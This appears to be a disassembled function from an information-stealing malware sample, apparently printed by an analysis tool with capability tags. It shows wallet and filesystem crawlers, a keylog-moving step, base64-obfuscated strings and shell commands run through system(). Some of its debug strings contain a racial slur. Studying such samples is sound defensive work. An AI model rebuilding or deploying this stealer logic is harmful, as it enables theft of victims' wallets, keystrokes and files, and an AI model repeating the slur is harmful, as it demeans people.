Function at 0x402530
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push esi
push ebx
sub esp, 0x364
mov dword [esp + 4], 0x424061
mov dword [esp], 0x447540
call sym._check_exist
test eax, eax
je 0x402758
lea ebx, [esp + 0x16c]
mov dword [esp + 8], 0x447540
mov dword [esp + 4], 0x424478
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x402740
mov dword [esp], 0x424490
call sym._puts
mov dword [esp + 4], 0x424061
mov dword [esp], 0x447740
call sym._check_exist
test eax, eax
je 0x402790
lea ebx, [esp + 0x16c]
mov dword [esp + 8], 0x447740
mov dword [esp + 4], 0x424478
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebx
call sym._system
test eax, eax
jne 0x402828
mov dword [esp], 0x424481
call sym._puts
lea eax, [esp + 0x20]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
lea esi, [esp + 0x40]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], esi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
call sym._sprintf
mov dword [esp], esi
mov dword [esp + 4], 0x424061
call sym._check_exist
mov dword [esp], 0x447740
call sym._get_system_info
call sym._run_wallet_crawler
mov dword [esp], str.Post_wallet_crawl_retrurn:__d
mov dword [esp + 4], eax
mov esi, eax
call sym._printf
test esi, esi
jne 0x402810
call sym._run_fs_crawler
test eax, eax
jne 0x4027f8
mov dword [esp + 4], 0x447740
mov dword [esp], 0x447060
call sym._stealer_main
test eax, eax
jne 0x4027e0
mov dword [esp], str.end_stealer
call sym._puts
call sym._get_uid
mov dword [esp + 0x2b], 0x33394763
mov esi, eax
lea eax, [esp + 0x24]
mov dword [esp + 0x2f], 0x7a4a585a
mov dword [esp + 4], eax
lea eax, [esp + 0x2b]
mov dword [esp], eax
mov dword [esp + 0x33], 0x73564761
mov dword [esp + 0x37], 0x74424362
mov dword [esp + 0x3b], 0x3d3d6764
mov byte [esp + 0x3f], 0
call sym._base64_decode
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 0x447740
mov dword [esp + 0x10], str.AppDataLocalTemp
mov dword [esp + 0xc], 0x447060
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_C:Users_s_s_boot.txt__s_s_boot.txt
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], esi
call sym._free
mov dword [esp], ebx
call sym._system
mov dword [esp], str.fuck_a_bongo
test eax, eax
jne 0x4027c0
call sym._puts
add esp, 0x364
xor eax, eax
pop ebx
pop esi
ret
mov dword [esp], 0x424481
call sym._puts
jmp 0x40258f
mov dword [esp], 0x447540
call sym._get_files_in_folder
test eax, eax
je 0x40258f
mov dword [esp], str.Folder_not_empty._Pass_on_crawl
call sym._puts
add esp, 0x364
mov eax, 1
pop ebx
pop esi
ret
mov dword [esp], 0x447740
call sym._get_files_in_folder
mov dword [esp], str.Files_in_folder:__d_n
mov dword [esp + 4], eax
mov ebx, eax
call sym._printf
test ebx, ebx
jne 0x40276c
lea ebx, [esp + 0x16c]
jmp 0x4025e6
call sym._puts
mov dword [esp], str.__Move_keylog_failed
call sym._puts
jmp 0x40272e
mov dword [esp], str.__Running_stealer_failed
call sym._puts
jmp 0x402686
mov dword [esp], str.__Crawl_filesystem_failed__nigger
call sym._puts
jmp 0x40266a
mov dword [esp], str.__Crawl_wallets_failed__nigger
call sym._puts
jmp 0x40265d
mov dword [esp], 0x424490
call sym._puts
jmp 0x4025e6